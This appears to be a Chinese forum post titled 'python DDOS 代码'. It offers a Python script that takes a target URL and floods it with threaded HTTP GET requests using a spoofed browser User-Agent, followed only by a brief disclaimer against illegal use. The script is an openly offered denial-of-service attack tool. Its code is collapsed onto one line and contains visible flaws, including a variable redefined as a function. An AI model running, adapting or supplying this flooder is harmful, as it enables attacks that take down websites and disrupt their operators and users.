『楼 主』:
python DDOS 代码
import requests,random,time,os,sys from threading import Thread from tqdm import tqdm er = 0 if __name__ == "__main__": url = input("URL >") nb = input("numbers >") konb = input("konbs >") how = input("how to ko(ko,tmko)>") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3","Referer":url } def er(): global er er = er + 1 def ko(headers,url): global er if how == "tmko": time.sleep(random.uniform(0.0001,0.001)) try: r = requests.get(url,headers=headers) return 1 except: print("Warning:Error to send;") if __name__ == "__main__": for j in tqdm(range(int(konb))): Thread(target=ko,args=(headers,url)).start() print("Done one. nmb=%s"%(konb)) for i in tqdm(range(int(nb))): os.system("echo \%s > out.txt"%ko(headers,url)) print("Done. nmb=%f"%(int(nb) * int(konb))) sys.exit() 不可用于非法活动!!!
|